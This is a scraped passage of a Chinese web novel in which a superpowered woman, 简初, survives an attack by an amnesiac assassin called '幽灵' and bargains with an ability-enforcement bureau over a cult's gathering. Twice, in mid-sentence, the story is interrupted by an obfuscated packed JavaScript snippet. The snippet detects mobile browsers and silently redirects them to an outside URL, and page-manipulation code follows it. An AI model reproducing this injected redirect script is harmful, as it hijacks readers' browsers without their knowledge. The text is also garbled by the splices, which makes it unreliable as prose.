她说完等了两秒，大家都没有对此发表意见，才又小心开口：“那……我走了？” “去吧去吧，我们知道了。”宋也笑眯眯挥手，直到屋里又只剩下两人，她才起身把空调的温度调低，呼呼的风声响起，给安静的室内增添了一点可有可无的活力。 “温南的检查结果你看过吧，她根本没病。”她转过身双手抱胸，开口道，“催眠可是一个很敏感的东西，尤其F还是个精神系异能者，以防万一，我们很多行动都不能带上温南。” “别以为我不知道你在想什么，好歹同事了这么多年，你其实根本没打算信任F吧。” “信任是个很昂贵的东西，我们都不会轻易将它交付给别人。”马瑞安把玩着手里的打火机，“另外纠正一点，检查结果没问题不代表温南没病，至于催眠……暂且看看吧” “你就不怕F借着这个机会，从温南嘴里挖出点什么东西来？”宋也松开了抱胸的手臂，眉头皱了起来。 “如果他想的话，那应该已经得手了。”马瑞安按下打火机，“哒”的一声蓝色的火苗瞬间跃起，“想知道他们究竟有没有动手脚很简单，在下次治疗之前，漏点‘独家’消息给温南。” …… 窗户外的风吹起纱帘，屋子里咖啡和香薰气味散得差不多，简初才不紧不慢地关上了窗户，房间里重新聚焦起凉意，压下了风带来的燥热。 一枚小巧的金属球正搁在她手边，它的中心被戳出一个空腔，露出其中精巧的电路，简初伸手捏起它，举在面前打量了两秒，接着随手扔进了垃圾桶。 显然，异能署相信了F的存在，但并不认为她与这一切无关，不过没想到的是他们的行动这么快，这就把手伸到她家里来了。 无所谓，只要他们不怀疑F的身份，就永远也找不到谜底。 简初随手拿起茶几托盘里的飞镖，一边靠在沙发里，一边随手掷出，“唰”的一声，带着残影的飞镖稳稳扎在靶心，晃动了好几下才稳稳停住。 集会、浸染、莫名的袭击……所有的线索乱成一团，她需要找到线头，才能将它们抽丝剥茧，一条条抽取出来。 …… 是夜。 空调外机的运作声嗡嗡入耳，公寓的隔音并不算差，而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13450345|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从简初的五感变得敏锐，她已经可以自如地“屏蔽”这些影响她的噪音。 什么都不能阻止她好好睡觉。 “咔！” 就在这时，外机无力地发出最后一声哀鸣，随即归于平静。 停电了。 房间内的空气很快变得燥热起来，没过两分钟，楼下的住户纷纷拉开窗户，带着困意的抱怨声传入简初的耳朵。 “这么热的天……怎么停电了？” “开风扇吧……” “没电了怎么开风扇，睡傻了吧……” 闷热的空气让人有些呼吸不畅，按照今天夜间的气温，不应当如此，她叹了口气坐起身，同样打开了窗户，瞬间，燥热的夜风顺着打开的缝隙钻了进来，无情地裹走了最后一点残余的凉气。 外面居然更热。 下一秒，她面前的一小块区域开始散发寒气，总算又让房间的温度下降不少。 简初扇了扇面前的空气，突然听到外面传来智能门锁的声音。 “滴滴滴，解锁失败。” 她预订的智能门锁还没到货，而这一层使用智能门锁的，只有周霖一个人，不过这东西偶尔识别不出来也是正常的。 解锁失败的声音接连响起，直到彻底锁死。 “请90秒后重试。” 智能门锁的机械音模模糊糊传来，除此以外没有传来其他的声音，没有脚步声，没有懊恼的叹气，也没有无聊的等待90秒过去的手机解锁声。 这人就这么安静地站在门前，耐心等待时间流逝。 简初收回依靠在窗沿的手，站直了身体，她的眼神似乎透过墙壁看见了躲藏在黑暗中的人影，蔓延而出的精神力很快告诉了她答案。 外面一点荧蓝色的光点驻足，这是简初从未见过的颜色，而对门的屋子里的光点则和以往的相同，看位置对应着卧室，而就在她观察的这十几秒里，它突然动了。 有人趿拉着拖鞋，打开了卧室的房门，与此同时，智能门锁再次响起“解锁失败”的声音，在这黑沉闷热的夜里，宛如一道催命的锁链，无情地扼住了人的喉咙。 周霖的光点退回了房间。 简初拿起床头柜的手机，想要替对方报个警，但右上方的两个并列的“无信号”告诉她，这不只是停电那么简单，周围的信号和网络全部断了。 终于，门外不再是“解锁失败”的机械声，取而代之的是轻快的一声“滴”，这让人下意识倒吸了一口凉气。 门被打开了。 周霖显然意识到不妙，已经缩到主卧的最角落，而那个蓝色光点却以不规则的行迹，在屋子里摸索了片刻，才来到卧室门前。 看上去并不像预先有所计划，而是见机行事，在屋子里寻找或是检查着什么，这与他进门前的从容不太相符。 “好像不是这里。”她听见那人低低地说了一句，还没来得及思考其中的深意，就看见蓝色的光点在原地小范围兜了一圈。 “上北下南左西右东……太黑了，什么都看不见啊。” 简初：“……” 她想了很多种可能，万万没想到是因为分不清方向。 93. 灯下黑（93） “我以后再也不毒奶了。”易阳咬牙切齿。 从吴起的事件之后，蓝湾一直没出过什么情况，他还没来得及松口气，只是在踏进办公室时感叹了一句，下一秒就收到了总部发来的加急通知。 都怪他这张破嘴，以后绝对不能乱立flag。 “跟一组核实过了，确实是‘幽灵’来了。”路玺语气颇有些沉重。 比起长期驻扎在白海的一组，他们二组作为机动部门，跟天选会发生正面冲突的机会要少很多，经验相对不足。但一组此时显然不会派员前来支援蓝湾，毕竟除了‘幽灵’，更多的危险人物还是在白海活动。 ‘幽灵’其人十分神秘，但跟天选会的其他高层相比，他出现的次数要多得多，可惜他的异能相当bug，一组至今都拿他没办法。 “也不用紧张，他毕竟只有一个人，我们的平均实力并不比一组弱，不过是经验少一些，小心行事便好。”宋也开口道，不过平均实力跟整体实力是两个完全不同的概念，一组光人数都是他们的两倍还多。 “异能署这几年发展得不错。”坐在后排的顾杰羽冷不丁出声，“消息比以前灵敏多了。” 像她那会，哪能这么快拿到消息。 “我也希望是这样，但很可惜，实际情况是一组在白海抓到了一个高层，从对方嘴里抠出来的消息。”宋也苦笑，“本来并没抱什么希望，但还是试着用探测仪扫描了一下，好巧不巧，正好赶上了‘幽灵’使用异能。” 一个又一个巧合套在一起，造就了现在的境况。 “但再怎么快，也……只希望他不是冲着简初去的。” 又或者，F的能力足够在‘幽灵’的手下保全简初。 异能署跟简初的交流并不算隐蔽，但“不是异能者”是她天然的保护色，即便是天选会，也不会过多将注意放在她身上。 可惜他们似乎想岔了。 不管F背后是否有其他人，就从他们连杀天选会三名成员来看，双方就注定只能是仇家，而天选会不可能咽下这口气，但他们竟然能顺藤摸瓜摸到简初，只能说明天选会在蓝湾的势力比他们想象的要大得多。 毕竟如果不是简初主动开口，异能署到现在都未必会知道F的存在。 马瑞安沉默地看着车窗外头的流光，心底一阵阵发寒，作为二组组长，他的信息权限远高于其他人，联想到天选会以往残酷狂热的作风，一个可怕的猜想就这么突兀地出现。 吴起的死亡并不意味着集会的取消，但主办人空缺，那群疯子一定会争夺这次机会，即便接受过“浸染”的人不多，但也有十数个，真闹起来，蓝湾将陷入前所未有的腥风血雨。 “易骄，再开快点。”马瑞安说。 把着方向盘的年轻女性没有出声，但再次响起的油门轰鸣声代替她做出了回答。 他们已经能看到公寓楼了。 …… 对面屋子里的两人已经僵持很久了。 说是僵持，但周霖并不知道这人一直都站在他卧室门前，简初也听不见他的自言自语，也看不见他有任何行动的迹象，难道他还在辨别方向？ 简初心中升起巨大的荒谬感。 但就在这时，对方突然行动了，蓝色的光点往卧室房门一个猛冲，随之响起巨大的门板冲撞声，整栋楼几乎都要抖三抖。 “谁啊，大半夜不睡觉做贼啊！” “明天还要上班呢，有没有公德心啊！” 原本因为停电燥热就烦躁的住户们找到了一个突破口，纷纷声讨起始作俑者来，尽管并没有人知道这声音究竟来自于哪里，又是由谁引起的。 “呃！” 闯入者目的明确，并不是冲着财物来的，周霖惊恐地看见卧室门被人踢开，一个黑乎乎的影子出现，仿佛从地狱爬出来的催命恶鬼，飞到了他的面前。 一只手攫上他的脖颈，下一秒，有人的鼻息凑过来，手在他脸上胡乱摸了一把，空气便重新回到周霖的肺部。 他走了？ 与此同时，有车在公寓楼下急刹。简初迅速跑到窗边，掀开窗帘看了一眼，果然是蓝湾总队的车，警卫来得如此迅速属实是出乎她的意料，但下一秒，更让人意外的事情发生了。 那个蓝色光点突然调转方向，离开了周霖的屋子。 “噶哒。” 他打开了对面的房门，也就是…… 简初豁然回头，跟沉沉黑夜里一个模糊的身影对上了，对方的手掌闪烁着蓝色的亮光，看上去是借此打开了这扇上了锁的门。 异能者？！ 莫大的危机感涌上心头，简初看见那人将手掌竖起，莹莹的蓝光迅速朝她飞来，她来不及去想为什么这人突然改变了目标，但身体却抢先做出反应，一个飞扑翻越沙发，隔着半个客厅与那人遥遥相望。 “噗”的一声轻响，那朵蓝色荧光眨眼飘到她方才的位置，触及墙壁之后仿佛炸开的仙女棒，星星点点消散开来，看上去没有造成任何损害。 黑暗中看不清来人的表情，但他跨进屋内的动作显然停顿了一下。 “是你杀了吴起吗？”他终于开口了，声音很温吞，仿佛是两个相识的人在这里闲聊。 简初：“……不是。” 这么问谁会承认啊！ 她后退半步蓄力，掌心不露声色地握住一柄黑色的长刀，她侧了侧刀身，以防反射出窗外的月光，而引起对方的警惕。 “不是你吗？”来人歪了歪脑袋，“那还是对门的？” 他说着，竟然就这么大剌剌地转过身，退出了房间。 简初：“……？” 什么东西？？？ 窗外的月光把屋子照得亮晶晶，简初眼底的黑衣人瞬间回身，抛出一个蓝色的球形光团，带着宛如彗星般的拖尾落在她面前，简初下意识横刀格挡，但蓝光扑在黑色的刀刃上，瞬间咬出一个巨大的缺口，泥土簌簌落在地上，形成一道弧形的半圆。 她的异能被还原了？！ 但同样被蓝光擦过的沙发、茶几全都安然无恙，所以只是针对异能？ “嚓！” 黑衣人的身影紧随蓝光而来，瞬间被照亮的双眼熠熠生辉，下半张脸却被一张黑色面罩裹住，他从怀里掏出一把短匕，带着汹汹的气势朝简初扑来，一道炽热的火焰陡然出现，但他只停顿了一下，脚下扭转更是加快了速度。 火焰被蓝光侵蚀出一个巨大的缺口，那人宛如一头矫 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简初郁结，但很快就听到电梯抵达的一声“叮”，同样的，对面这人也听到了，几乎在同一时间，屋子里的光芒全部熄灭，只剩窗外的月光作为最后的光源。 窸窸窣窣的脚步声非常小心但迅速地往这边靠近，简初猛地矮下身子，缩到沙发后面，而那个黑衣人则丝毫不顾忌小触手还缠绕在他手上，往大门处扔下一个蓝色光球，转头就往阳台跑。 小触手陡然收紧，想要阻止对方的行动，那人被迫停下了脚步，但面色依旧平静无波。 “简初！” 外头传来易骄的声音，随之而来的是一道闷闷的枪声，带着消音/器，在深夜里听上去仿佛只是有东西砸落在地上。 他们知道这人的身份。这是简初的第一反应。 异能署知道对方的异能，所以选择使用武器而不是进行攻击。 霎时间，子弹在空中旋转前进的画面仿佛被开了慢速，黑衣人微微蹙紧眉头，却只是抬头往简初这边看了一眼。 “砰！” 子弹掠过，月光下那人脸上渗出一丝血色，紧接着“啪嗒”一声，黑色面罩落在了地上。 他迅速侧过脸，黑发垂落遮住了朝着大门的半张脸，但这样一来，另外的半张脸却被月光照亮，清晰地映照在简初眼底，让她瞳孔紧缩。 小触手瞬间松开对方的手臂，简初猛地挥手，黑色的暗影卷起一阵风，砰的一声关上了房门，并卡死在门锁上。 “傅……” 简初喉头干涩，几乎说不出话来。 对面的人有着一张熟悉的面孔，他原本想要伸手遮住自己的面容，眼见房门关上，犹豫了两秒却是放下了手。 他看过来的眼神中写着淡淡的怔忪。 他没认出她？ 身后的房门传来巨大的撞击声，外面模模糊糊的是有人喊她名字的声音。 “傅燃！”眼见这人就要跳窗，简初连忙压低声音走上前，却得到一个迷茫的表情。 “我叫‘幽灵’，你认错人了？”他说，“不过还是感谢你帮我，再见。” 黑影从阳台一跃而下，简初三步并作两步冲了过去，扒在阳台边缘，看着一道蓝光吞噬了那人的身影，在半空中消失不见。 94. 灯下黑（94） 身后的房门终于打开，一群人鱼贯而入，为首的路玺一眼就看到站在阳台的简初，他立刻冲上前把人拉了回来。 她这个造型，真的好像下一秒就要跳下去。 “他跳下去了。”简初一副受惊的模样，全靠路玺提着她的胳膊才维持住站立。 路玺闻言下意识转头从阳台往下看，下面全是小区里的绿化，在月光下显得黑黢黢的。 “跑了？”他咬牙叹了口气，转头手上就松了劲，慢慢扶着简初坐到地上，“你没事吧？” “她被捅了一刀，麻烦帮看看。”简初冷不丁开口，下一秒就又变成之前那副要死不活的模样，路玺低头就看见对方左腰的衣料已经被血染透。 易骄连忙上前接手：“家里有医疗箱吗？” “在那个柜子里。”简初伸手指了指。 顾杰羽把医疗箱放在沙发上，就走到阳台，几人聚集在那边四处打量，门外却突然有人探头探脑地冒了出来。 “姐……你没事吧？”是周霖。 屋子里的几人不约而同投去警惕的目光。 “对门邻居。”简初解释道，转头跟周霖说，“我听见有人想开你门，感觉不对就报了警，这些都是蓝湾的警官们。” 周霖长出了口气，还没等他说什么，路玺就带着刚从电梯上来的易阳往对门走去。 “检查一下可以吧？” “可以可以，警官你们请进。” 少了两人，客厅里登时空了不少，简初坐在沙发上，思考刚刚看到的那张脸到底是个什么情况。 “有点疼，你忍忍，处理完还得去打个破伤风。”易骄说，“没伤到内脏，养养就好了。” “嗯……嘶！” 双氧水猝不及防地淋在伤口，让简初倒吸一口凉气：“我……嘶……待会跟你们一起、去蓝湾吧，F有事……要和你们交流。” “行。”易骄看了她一眼，旋即拧上瓶盖，转头喊道，“我带她去医院，这边就交给你们了。” “嗯哼。”宋也捻了捻沙发附近的泥土，随意地应了一声，简初的视线从她身上瞥过，便跟着易骄离开了。 …… 忙了一通，所有人再次聚集在顶层办公室，蒙在鼓里的周霖则在楼下单独做笔录。 “很显然现在天选会盯上简初了，对此你有什么话要说吗？”路玺冷哼一声，“一个异能者，缩在后面不敢见人，把危险留给普通人，真有你的。” 简初脸色有点发白，但眼神讥诮：“我倒还怀疑是你们走漏了风声，怎么刚合作，那边就派人杀过来了？” 其实她并没有百分之百确定那人是冲着自己来的，但路玺的话一出口，事情就变得不一样了。 他们不仅知道对方是什么人，还知道他的目标是自己。 “你！”易阳忙了一通，听到这句嘲讽根本忍不了。 “好了，现在不是说这些的时候，天选会已经出手，简初最近都不适合去医院了。”马瑞安说，“他们下手不管不顾，医院人太多，容易发生重大事故，‘幽灵’实力很强，这次已经多亏了F了。” 简初并没有和幽灵抗衡的实力，现在只受了点皮外伤，显然是F的功劳。 他说完，办公室又陷入漫长的沉默，异能署手里掌握着幽灵的信息，同样的，他们也知道F需要这些，所以他们在等她先开口。 异能署对F的下一步计划没有预期，所以每一步都走得很小心。但简初不一样，虚构出F只不过是权宜之计，她不会一直跟他们玩这种游戏，只要能拿到想要的消息就足够了。 出于某个原因，她现在非常迫切地需要幽灵的信息。 “不要兜这种无意义的圈子了。”简初耸耸肩，“首先，作为我提供那三人消息的回报，你们打算告诉我些什么呢？当然，不要试图用鸡肋来应付，我可不是收破烂的。” “还有，那个幽灵的异能我大概也知道是什么情况了，你们得说点别的才行。”在有人开口之前，简初抢先举手表达了自己的态度。 马瑞安笑了笑，捏着干巴巴的香烟塞进嘴里吸了口味道：“既然合作，我们肯定会提供有价值的东西，不知道关于‘幽灵’的档案，和‘浸染’的事情，你对哪个更感兴趣。” “当然，同样的话给你，我们异能署也不是收破烂的，你手里能拿出来交换的东西，应该也不多了吧。” 这可以说是试探，也可以说是威胁。 简初动了动手指，面上却不动声色，半晌，她勾出一个温和的笑容：“马组长，如果只是作为回馈，那我确实只能二选一，但您说巧不巧，我不久前又拿到了一些有意思的东西，想必你会感兴趣。” 这两人不停兜圈子，就是不说重点，看得旁人都有些心焦，见马瑞安不接话，简初只能装模作样地叹了口气。 “我是诚心合作，请不要有这么大的敌意。蓝湾发生了这么多事，我不过是求个自保罢了。”简初脸上依旧挂着微笑，伸手摸了摸腰上的伤口。 这可不是第二个来找她麻烦的了，但她不得不承认，幽灵确实跟李焱不一样。 “关于集会的举办时间和地点，你们应该还不清楚吧。” 平静的话语却仿佛惊雷，其余几人多少都露出了惊讶的动作和表情，而马瑞安虽然看起来古井无波，但手上拨动打火机的动作已经停下来了。 “我改主意了。”简初得到了预想中的反应，突然后仰靠在椅背，翘起了二郎腿，“我们加深一下合作关系吧，我希望能和你们一起行动，所有信息共享，如何？” “当然，你们内部那些事情我不在乎，仅限于天选会在蓝湾的动作。” 她伸手在桌面上划下一道线，作为“退让”，反倒让马瑞安真的思考起合作的可能性。 “你有多少同伴？”路玺问，而简初只是微笑，并不回答，那边的温南已经连大气都不敢出，她的眼睛不安地乱转，和同样紧张的张国栋对上眼神，两人几乎以同样的速度垂下眼，不敢再看。 “路玺。”马瑞安终于开口了，“把案件相关的文件拿给她。” “组长？”路玺原本处于挣扎之中，见他同意了，反倒有些不情愿，但在马瑞安的坚 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这次，她抛出的问题只让马瑞安一人变了脸色，除了顾杰羽皱着眉头似乎想到了什么，其他人都一脸茫然，似乎是从未接触过这个概念。 “抱歉，是不是说了什么不该说的。”简初嘴上这么说，语气里却没多少抱歉之意，“不过他们对这所谓的‘神’可是敬畏有加，他们以前举办这种活动，也要找一个最接近神的地方吗？” “你的意思是……？”马瑞安的表情变得非常难以捉摸，简初从未在其他人身上看见过这样的脸色，他竭力想要保持冷静，但仍然透出一丝丝恐慌，但比之更多的是难以置信。 “先上报吧。”这次开口的居然是顾杰羽，自始至终她一直都保持着沉默，带着些许游离在外的感觉，旁观着一切，简初早就发现，异能署的这几个年轻人对她或多或少都有些尊敬，显然他们早就相识。 这人以前至少是异能署的中层人员。 “如果……”她看向简初，嘴里的话顿了顿，似乎是不知道现在该怎么称呼对方。 简初对此毫无反应，不管顾杰羽是不是有意诈她，以不变应万变总是没错的。 “如果这条信息无误，那么这次的集会规模应该会超出以往所有，这不是考我们就能解决的问题，得由总部来考虑。” 马瑞安点点头，宋也就立刻噼里啪啦敲起了键盘。 路玺几人对简初还是有些防备，尽管心里有许多问题，可现在都按捺着没有开口，只用眼睛滴溜溜地扫视着，似乎在问这人什么时候走。 不知道是不是他心里的话被人听见了，办公室里的外机电话突然响起，易骄听对面说了两句，便转头看过来：“你对门的那个小孩，说是在楼下等……简初一起回去。” “啊……让他自己回去吧。”简初摆摆手，“我忙着呢。” 易骄沉默了两秒，才以一种相当礼貌的方式向对面转达她的意思。 “我们这边还有很多事情要谈，麻烦你们安排车辆先将他送回去吧。” 95. 灯下黑（95） 过了下班的高峰期，路上的车流逐渐少了起来，工作日的夜晚万家灯火，人们都回去吃饭了。 有人在街道上漫无目的地闲逛。 从记忆之初，‘幽灵’这个名字就好像一个诅咒，让他变成一个名副其实的孤魂野鬼，平日里只知道做任务，现在竟然都不知道该做什么。 幽灵穿着黑色的短袖长裤，在路边找了个长椅坐下，没带面罩的漂亮脸蛋吸引了不少人的视线，但他只是默默垂头扣着手指。 任务失败的消息应该快传回白海了，过不了多久那人就会来找他，幽灵扯扯嘴角，整个人变得颓废起来。 远处的钟楼突然被敲响，现在是晚上七点整，再过五个小时就可以去找简初了，想到这里，他又感觉时间又好熬起来，就是不知道自己打扫的房间对方满不满意…… 正在这时，一道声音突然在他的脑中响起。 “任务失败了？”那声音里带着一点笑意，不过并不温和，而是嘲讽的、冰冷刺骨的，像一把弯刀剜在大脑里。 幽灵脸色骤变，许久才低低应了一声。 “那怎么还不回来，魂丢那儿了？”那人冷笑。 “我想再找机会试试，这次失手是意外，我没想到异能署时刻关注着她，人来得又多又快。”关于简初的异能幽灵一字没提，言语间把矛盾全都转移到异能署身上了，“现在我知道了情况，也许能找到更合适的下手机会。” 对于幽灵来说，想找个借口留在蓝湾还是很简单的，虽然这里不比白海，他身上没有通讯设备也没有钱，连能证明身份的东西都没有，只能像一只“幽灵”在外飘荡。 但至少能拥有片刻的自由。 白海的空气里都是那人的眼线，虽然这只是夸张的说法，但很贴合他的处境。 “呵呵，真是好狗，希望你不是为了逃避惩罚，才赖在外边不愿意回来。”脑中的声音不阴不阳地感叹了一句，“既然如此，你就在那等着我吧，过几天我们都要过去，那个女的能杀则杀，不能杀就算了。” “不过任务失败了，还是得有些小小的惩罚啊。” “……我知道了。” “哼哼。”那声音最后笑了一声便归于沉寂，下一秒，仿佛爆炸般的剧烈疼痛从幽灵大脑内传来，尽管他觉得自己早已习惯，但当真切感受到时，还是难以忍受。 街道人来人往，有人注意到这个弓着身子趴伏在膝头的人，但都只匆匆经过，没有人为之停留，黑色长裤上洇出两滩水渍，幽灵狼狈地擦了擦脸，口腔里都是铁锈味。 好疼。 鼻腔里有什么涌出来，滴滴答答在地上绽开两朵血色的梅花，他掀起衣角，仔仔细细擦过，又捏着鼻子等它止血，但就算是这样他都没有抬起头，黑色的头发盖住了侧脸，看上去不过是一个失意的普通人罢了。 这世上每天都有无数的人在流血、在哭泣，他不过是其中一个，没什么值得在意的。 …… 午夜。 也许是白天睡多了，此刻的简初毫无睡意，她原本的生物钟就不规律，但好在睡眠质量还不错，但近来各种意外频频出现，让人应接不暇，导致作息时间完全崩乱了。 这个世界虽然没有异种，但却比星际联邦还危险。 异能署给的信息对于现在的形势很难说有什么帮助，和“幽灵”、“浸染”相关的不仅少还很模棱两可。不过她关注幽灵的理由本就与他们不同，当然也不能太过寄希望于别人。 从得到的信息来看，“浸染”是天选会内部针对“被选中的成员”进行的特殊仪式，它之所以地位特殊且受到异能署重视，是因为它能够强化异能。 天选会将其称为“神的赐福”。 除此之外，还有一条与之相关的信息，就是集会的主办人只能在接受过“浸染”的天选会成员中选出，选拔途径不详，但以这个组织的尿性，显然不会是什么真善美的方式。 只可惜系统不能像乌托邦一样提供探索进度条，否则就可以借此来判断自己的猜测方向是否正确了。 “唰——” 身后的窗户突然被打开，简初猛然回头，就看到一个熟悉的身影翻了进来，他这次没带面罩，虽然还是一身黑，但看上去没昨天那么有攻击性了。 她下意识瞥了眼挂钟，午夜十二点整。 ……这是在演什么恐怖片吗？ “……早？”幽灵的声音有些底气不足，不过还是厚着脸皮钻进了屋子，“今天需要打扫卫生吗？” 鼻尖还能闻到淡淡的金盏花香气，那是简初牺牲的洗衣液留下的最后印记。 简初很想说，距离你上次“打扫完”才过了不到十个小时，她这又不是回收站，哪里有那么多垃圾，不过这些话在看到对方有些忐忑的面容时瞬间消散了。 “你受伤了？”简初问道，见来人愣住，便伸手摸了摸自己的嘴唇以作提示，“这里有血。” 幽灵仿照她的动作，摸了几遍，才将嘴唇上沾着的一点猩红拭去：“抱歉。” 虽然不知道他为什么要道歉，但简初还是点了点头：“你身上的血腥气很重，要是受伤了自己去处理一下吧，那边有急救箱。” 她朝医疗箱所在的位置抬抬下巴，但幽灵并没有去拿。 “我没受伤，流了点鼻血，已经止住了。” 简初不太相信这套说辞，毕竟对方说这话的时候眼神飘忽，一看就是在撒谎。 “既然你来了，我有点事情要问你，能说就说，不能说的就算了。”她不动声色地合上眼前的本子，幽灵并没有意识到这是不想让他看见里面的内容，点点头就乖乖坐到了沙发上。 布艺沙发很柔软，比外头冷冰冰硬邦邦的长椅不知好了多少倍。 “你昨天去周霖家……就是对门，用过异能吗？”简初问，“有没有在他面前用过异能？” 幽灵反应过来，她口中的“周霖”就是差点被他当做目标的人，他想了想，摇摇头：“没有，他没对我用异能，我也没必要用。” “你的目标是我，怎么找到他那儿去了？” “我也不知道，我拿到的坐标确实是他那件屋子，不过我发现他是男的，就反应过来可以是坐标错了。”幽灵老老实实答道，配合程度远远超出意料。 他对天选会的归属感似乎并不高。 简初微微转动了下眼睛：“所以你的任务就是来杀我？只有你一个人来吗？” 这是一个很重要的问题，关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13644318|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎到她究竟要面对多少人的追杀。 幽灵听到她说“来杀我”，表情有些紧张，看到简初并没有生气，才斟酌着开口：“我听说有其他人来，他给我的任务是，在其他人之前解决你。” 简初：“……” 什么意思，把她当BOSS刷首通呢？ “那你不杀我，回去不会受罚吗？”简初随口一说，没想到对方表情僵了僵，一副被说中了的样子。 想到他一身血腥气，不会是真受罚了吧？ “已经不需要了，这个任务已经作废了。”幽灵强颜欢笑，“任务失败了，受罚不是很正常吗？” “他也在蓝湾？”简初皱眉。 幽灵露出一个疑惑的表情：“不在，你怎么会这么想？” 简初不作声，只是指了指他的鼻子。 “啊，是这样。”幽灵恍然，“他用异能在我脑袋里放了什么东西，然后给我设定了很多违禁词，一旦我有对外传达的意思，就会立刻死掉。” “死掉”这两个字被他说得轻飘飘的。 简初总算明白，为什么她问到和那人相关的事情时，幽灵的表情总是会变得忐忑。 她突然支起身子，表示很感兴趣：“可以看看你的脑子吗？” 幽灵：“……？” 虽然她很礼貌，但这句话听上去有点可怕。 这人顶着傅燃的脸，做出一副弱气又迷茫的表情，让简初几乎看不下去，她伸手招了招，幽灵就迅速起身，凑到了她面前。 简初直接伸手按在了他脑门上：“别反抗。” 精神力仿佛拿到了对应的钥匙，长驱直入毫无阻碍，直接闯进了人家的精神空间，简初一下就看到悬停在精神核心上方，一把宛如利剑的十字杵。 它的四周蔓延出黑色的烟雾，织成细密的网笼罩着整个核心，看上去有一些邪气，其中有几道烟雾十分粗壮，深深扎紧了核心内部。如果幽灵说的都是真的，那么只要这些东西轻轻一撬，他的精神核心就会瞬间崩裂。 万幸的是核心完好，上面并没有什么裂隙或者损伤。 没有完全的准备，简初不敢轻易触碰这些东西，如果被察觉到，惹得对方直接下手就糟了。 但来都来了，她顺势打量起整个精神空间来，但这里与傅燃的并不相同，大概率是因为两人的异能不一样，但简初还是细心地发现了一些独特的相似之处。 这里也不算大。 相比于她见过的秦理、温南的精神空间，眼前的这个要小一些，比当时的傅燃更甚。但按照常理，异能强度与精神空间的大小有显著关联，幽灵的实力明显要强于温南，就不该是这样的结果。 “看到他给你动的手脚了，我暂时没办法帮你处理。”简初收回手，没忍住顺便拍了拍对方的脑袋。 也许这东西有办法解决，但至少不是现在，轻易说出口不过是徒增希望。 幽灵闻言睁大了眼，他根本没想过这东西有一天能从自己的脑子里消失。 “怎么了，我可是医生。”简初挑挑眉。 “嗯。”幽灵抿唇，低低应了一声，“没关系，我能忍。” 简初牙酸地嘬了一口空气。 啧，又卖惨。 96. 灯下黑（96） 幽灵安静地坐在沙发里，他已经很久没有感受到像这样的平和，不知道为什么，只是跟简初呆在一个空间里，他紧绷的、时常疼痛的大脑就好像放松下来。 他觉得有点困。 “我以为你大半夜过来，是有什么事的。”简初说。 “没有事，就是……昨天说好今天见的，所以来看看有没有我能派上用场的地方。”他说完，肚子就闷闷地叫了一声。 两人的视线一触即分，幽灵快速低下头：“能给我喝点水吗？” 简初认命地揉着额头点了外卖，这个时间外头只剩下烧烤店还在营业，不过这人并没有提出异议，看来吃什么都无所谓。 “你们天选会那么大的组织，在蓝湾就没个基地什么的，给你们提供伙食？”简初问，“这就算了，你身上也没钱吗？好歹也是个高层人员，怎么混得这么惨。” 幽灵身上什么都没有，看起来确实不像有钱的样子。 “高层，你是说我吗？”幽灵疑惑地歪了歪脑袋，“虽然不知道你为什么会这样想，但是我不是，他说我只是他随手救的一条狗罢了，死在外面也没关系。” 这回换简初失语。 “你说的这些，他们有，我没有。”他平静地摇摇头，“因为我并不是天选会的正式成员，在白海认识我的人很多，看在他的面子上我不会饿着，住宿我倒是无所谓，有地方落脚就行。” “不过在蓝湾就没那么方便了。” 简初：“……” 这过的什么日子，被使唤，被束缚，任务失败要受罚，现在还要饿着肚子露宿街头？！ 如果幽灵真是失忆的傅燃，等他想起一切，天选会会被直接杀穿的吧！ “你……吃完就在这休息一会吧。”简初还是心软了，实在是那张漂亮的脸蛋配上这副可怜的表情，杀伤力过于强大了。 她有自己的节奏和计划，一切尽在掌控。 嗯，就是这样。 幽灵又愣了愣，转而露出一个天真的微笑：“谢谢你的关心，这样会给你添麻烦的，我之前在外面转了转，有很多地方可以让我过夜。” “不麻烦，反正你又杀不了我。”简初随口说道，但幽灵以为她还记着自己偷袭她的事，一时间有些恹恹。 客厅沉默了许久，直到外卖的电话打破了寂静。 简初看着细嚼慢咽的幽灵，突然开口：“如果可以的话，你想离开天选会……不，我是问，你有什么想做的吗？” 幽灵的嘴边还沾着亮晶晶的油渍，他沉默着微微点头：“但是我不知道……不做任务的话还能做什么，我没有记忆，也没什么擅长的东西……” 确实，毕竟连拖个地都能用完一整瓶洗衣液。 “你想就行了，别的不重要。”简初懒洋洋地托着下巴，“赶紧吃吧。” 从来没有人跟他说过“只要你想就行”，幽灵翻来覆去想了好几遍，都不知道“他想就行”是个什么感觉，但简初已经转过头，逃避烧烤的香气，他只能舔舔嘴唇，点点头以作回应。 发现简初看不到他点头，才慢吞吞吐出一个字。 “好。” …… 第二天一早，客厅已经没有了幽灵的踪迹，也不知道他是什么时候离开的，甚至捎走了家里的垃圾，还很贴心套上了新的垃圾袋。 主观能动性很强嘛。 幽灵的异能很强，战斗力也不弱，只要他不做什么蠢事，把脑子里那玩意惹炸了，目前看来也不会遇到什么危险。 至少在集会开始之前是这样。 他被允许留在蓝湾，显然是因为集会举办在即，那人到时候肯定也得过来。 可简初还是不理解为什么自己会成为他们的目标，吴起的身份没有高到需要天选会为他报仇，抢着来杀她的程度吧。 